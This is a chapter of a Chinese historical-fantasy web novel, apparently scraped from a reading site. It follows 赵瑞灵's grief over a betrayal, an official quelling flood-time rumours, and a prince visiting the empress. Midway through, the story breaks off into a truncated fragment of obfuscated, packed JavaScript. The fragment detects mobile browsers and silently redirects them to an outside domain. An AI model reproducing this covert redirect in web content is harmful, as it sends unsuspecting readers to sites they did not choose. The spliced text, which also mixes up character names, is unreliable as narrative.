记忆里的姜绍云拿着一根木棍,拨弄着燃烧着的火堆里的木柴,神色平淡着仿佛在说一件无关紧要的事:“泥石流比我想象中的更严重,派往京城的信石沉大海,迟迟等不来决策与支援,我才想起他给我的锦囊。”
火柴燃烧的劈啪声清晰无比,姜绍云放下手里的木棍,望着它被火焰灼烧的模样,表情未变:“里面有张纸条,上面写着:东南村,破庙里,枯树下,逢生。我深信不疑,以为事情终于有转机,然而我却不知,东南村背后的山后,是蛮人十四王的新据地。当我从枯树下挖出里面的东西时,蛮人突袭而来,腹背受敌,但他们却再看清我手上的东西时,突然撤退。”
说到此处,他的表情终于有了变化,有嘲讽有落寞,最后又化为平静。
“挖出的东西是什么?”她记得她问。
姜绍云侧过头看向她,嘴角微勾,眼里却没有笑意:“一根铁链串起的玉牌,玉牌上清晰地刻着’寅二七,暮十九‘。”
“什么意思?竟能让蛮人撤退?”
姜绍云眼睫颤动了一下,低下头,有些喃喃道:“我也想知道,但是他却死了,连让我质问的机会都没有!”
说到此处,他的情绪像是突然爆发一样,身体止不住地颤抖,像是深陷在某个过往里无法逃出来,他低哑着不断重复着:“为什么,为什么?”
姜绍云有时会突然崩溃,赵瑞灵知道,那只是因为现实毫无征兆地突然崩塌,而他的情绪找不到宣泄处,像个迷失在断桥边的孩童,能抓住的只有手中那根短绳。
但是短绳有什么用呢?只会不断告知他被抛弃被背叛的结果罢了。
而桥断的原因,他都没有机会知道了。
他也回不去桥那边了。
从回忆里抽出,赵瑞灵心口闷闷的,她眼眶发酸,看着漆黑的夜空,也问出来和姜绍云一模一样的疑问:
为什么?
周符,到底为什么要这样做?
为什么做了之后,又毫不犹豫地赴死,让他绝望而痛苦地活着?
为什么,连个质问的机会也不给他?
为什么?
赵瑞灵深吸一口气,擦了擦即将涌出的泪水,才抬脚走回房间。
周符,
赵瑞灵在心里重复念着这两个字。
这一次,我一定要为子阳问出那句他没有机会问出口的疑问。
然而直到她隐入黑暗走回房间,始终没有发觉那在廊檐下的黑暗中,望着她的人。
直到再也看不见她的身影,姜绍云才收回目光,
他眼里的探究一分没少,赵瑞灵刚才外露的情绪来得突然,愤恨而又悲伤,他始终不明白这样的情绪从何而来。
疑点太多了,但从另一个角度去想,如果她说的都是真的呢?
从未来而来?穿越时空?
可能吗?
她有什么理由让他信她?
姜绍云扪心自问,没有。
况且,他也从不信这些东西。
他转身朝与赵瑞灵离去的反方向走去,浓雾渐起,喧嚣着将夜色笼罩于朦胧的白中,背道而驰的身影,也同赵瑞灵般,消失于黑夜中。
接连几天大雨,环城排水渠却突然堵塞,导致积涌而来的雨水不断往环城河里涌去,河水一夜之间暴涨。
因刘彦上任而继续修筑的防洪城也因接连的暴雨而被迫竣工。
满城上下人心惶惶。
与此同时,另一边不知何时也传出了些流言蜚语。
暴雨来临前天气早有预告,刘彦也命人发出紧急告示,然而有几个游荡于街尾的神算子口中念念有词:“上位者血统有污,天将怒也,这是对百姓的惩罚,环城恐忘矣。”
甚至有人传出,血统不纯者是当今太子,皆因太子即位不久环城防洪墙便坍塌压死不少百姓,而由太子推举的刘彦还未抵达环城时,环城并无暴雨迹象,而刘彦一上任暴雨便来临。
这是老天大怒对环城乃至蚩朝的警示!
说得言真意切。
然而这些谬言还没走出街尾便被刘彦给压了下来。
他抵达环城时,除了加紧处理防洪事务,还密切关注城中言论风向。
那些打着神算子旗号胡言乱语之人,皆被他“请”入了牢狱。
这之后便是意料之中的暴雨来临。
幸而环城河里那堵为抵御洪水的墙终于在大雨来临前修筑完成。
否则,以环城百姓迷信的程度,那些言论一旦传开,再加上这几日的暴雨,不只是环城,整个蚩朝都会乱成一团。
这天天气终于晴朗。
刘彦站在岸上,看着被河里凸起的墙引着哗哗加速流向另一边的洪水,心下终于安定。
环城重中之重的事如今得以缓解,在加速修筑剩余的防洪墙时,还有另一件更重要的事需要他做。
刘彦想到牢狱里的那几人,又不自觉地想起之前收到的那两张纸,他的心里开始有所怀疑。
还没等他继续思索,赵域从一旁爬了上来,见刘彦望来,板着张脸说道:“知州真是让人好找。”
“赵大人找本官有何要事?”
“您最近抓了几个算命的,城里百姓多有怨言。再这样下去,怕是不好交代。”
“那几人传播谣言,扰乱治安,只是关几天罢了,还望赵大人放宽心。”
赵域也不好多说什么,只得道:“只是如今环城正处多事之秋,您初来乍到,本官也是怕刘大人不好收场。”
刘彦也朝他拱手,道:“多谢赵大人提醒,只是关几天让他们长长记性,时间一到自会放出去。”
“如此,那本官也就不再多言了。不过对于这件事,要是有我能帮得上忙,还望刘大人尽管提,毕竟大家在朝为官,都是为了百姓。”
刘彦放松一笑:“一定。”
层层瓦砾还在滴着雨滴,檐下一暗绿色锦衣男子静静站立着,手里拿着一卷书卷起来有一搭没一搭地轻敲着掌心,双眼微阖望向地上积着雨水的水坑,听着身旁人的回话:
“殿下,环城前几日突然冒出一些流言蜚语,但还没来得及发酵就被刘彦处理了。”
姜绍兴换了个姿势靠在柱子上,眼睛依然盯着水坑:“什么样的流言蜚语?”
那人弓着腰,几经踌躇还是没说出来。
姜绍兴终于移开目光看向他,那人一触及他的眼睛便哆嗦着立马跪下:“殿下息怒,那些话属下实在是不敢说。”
“此处只有你与本宫,有何不敢说?还是说,你在应付本宫?”
那人抖的更厉害了,连连磕头,抖着嘴唇磕磕绊绊地道:“就是说,说,说太子殿下血统不纯,环城连连的灾害是老天给出的警示。”
姜绍兴拍着掌心的动作停住:“竟有如此神人想出这样的法子,有些拙劣。”
那人观他的神色,试探着问道:“殿下,这样一个机会,那我们……”
“不必,”他话还没说完就被姜绍兴打断,“任何人,没有本宫的命令都不许出手。”
“……是。”
“还有,派人盯紧环城,如果还有这样的风言风语,不必汇报,必要时刻秘密处理掉,总之,本宫不想再从环城里听到类似的话。”
“遵命。”
姜绍兴看着廊檐上渐停的雨滴,不知过了多久,直到身后传来细微的脚步声,他才开口;“进宫吧,陪本宫去看看母后。”
幽长的御道在灰暗的天色下显得越发幽深,此时四处空寂无声,只有姜绍兴脚踩在积水上发出的滋滋声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209497|179135||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>他有时觉得自己天生就该与这晦暗的皇宫融为一体,但有时又实是厌恶极了这里的一草一木。
他在这里生,又好似要在这里灭。
绕过长长的走廊,眼前的道路豁然开朗,朱红色的宫殿一座座矗立,姜绍兴不知走了多久才在一座围满牡丹的宫殿外停下。
见他而来的丫鬟正要去通报,被他抬手拦下:“不必打扰母后,本宫只是来看看。”
杨皇后性情温婉,不喜吵闹,殿内也时常安静。
姜绍兴在独自前往她的寝宫路上时,不自觉想起自己初来杨皇后身边的那段时光。
他像个刺猬,见谁就扎。
没办法,生母性格太过软弱无能,又出身不显,他身为无所依靠的皇子,能依靠的只有自己。
而杨皇后虽温婉,但也是个极有主见的人,所以,可以说,他来到她身边,才算是真正过上了人的生活,才真正像个皇子。
像是怕惊扰了什么般,姜绍兴走得极轻,极小心翼翼,待快走到那间记忆里异常熟悉的房间时,隐约的谈话声传来。
“子阳有城府就是太重道义了,我正是担忧这一点。他要是有云佑那般性情,我也就不必操心这么多了。”
云佑,他的字。
不知怎的,姜绍兴突然没了打开这扇门的勇气,他身后渐渐升起日光的余晖,屋内的对话还在继续。
张嬷嬷有些粗老的嗓音紧随其后:“三殿下与四殿下感情深厚,日后必会竭力辅佐四殿下的。”
“唉,但愿吧。对了,不日就是子阳的生辰了,我想亲自给他做件衣裳。”
“娘娘,您的头疾近日又严重些了,不宜太过操劳。这种事,还是交给老奴来做吧。”
“这不一样,这孩子从小与我聚少离多,我就总想着多为他做些什么。”
后面的话姜绍兴没再听下去,他甚至没有片刻犹豫,又如来时那般,悄无声息地离去。
然而他的脑海里却不如来时那般平静,杨皇后的话又反复地回响。
走出杨皇后的宫殿,刚才那丫鬟给他行礼,姜绍兴回过神问道:“母后头疾又严重了?”
那丫鬟恭敬答道:“近日夜里总会被疼醒,太医院换了药要好些了。”
姜绍兴点头,又问道:“四弟可来过?”
“昨日来过。”
姜绍兴笑了一下,“日后劳烦你们多尽心了。”
“殿下言重了,这本就是奴婢的职责。”
姜绍兴又回头望了一眼,才抬脚离去。
皇宫外,头戴面具的玉棠在不远处静静等待着。
姜绍兴走过去:“以后白日随我出门,这面具就不要戴了。”
玉棠听话的摘下面具,面具下是一张有些苍白却清丽的面容,只是左下颌处有一道伤疤。
姜绍兴踏上马车,路过一家糕点店时,玉棠有意的停顿了下,但姜绍兴没有像以往般下车去买糕点,而是出声似是在催赶她:“走吧。这次,就不必了。”
玉棠虽照做,但她还是不解地又望了望身后,直到确定姜绍云生在说真的后,才收回目光。
“殿下,”下了马车,玉棠在姜绍云身后,犹豫几下还是没忍住开口,“为什么?”
姜绍云背对着她停下脚步,“吃腻了。”
他的声音被风挟裹着而来,让人有些听不真切。
“可三日后是您的…..”
这句话还没说出,就被姜绍兴打断:”本宫说,吃腻了,以后生辰,都不必再吃了。”
玉棠有些伤心又有些失落,最后好像明白了些什么却又好像不明白,也只低声应道:“是。”
一旁原本开得正好的花,被突如其来的大风吹散了好几片花瓣,只余下里面那无人欣赏的花苞,迎风摇曳。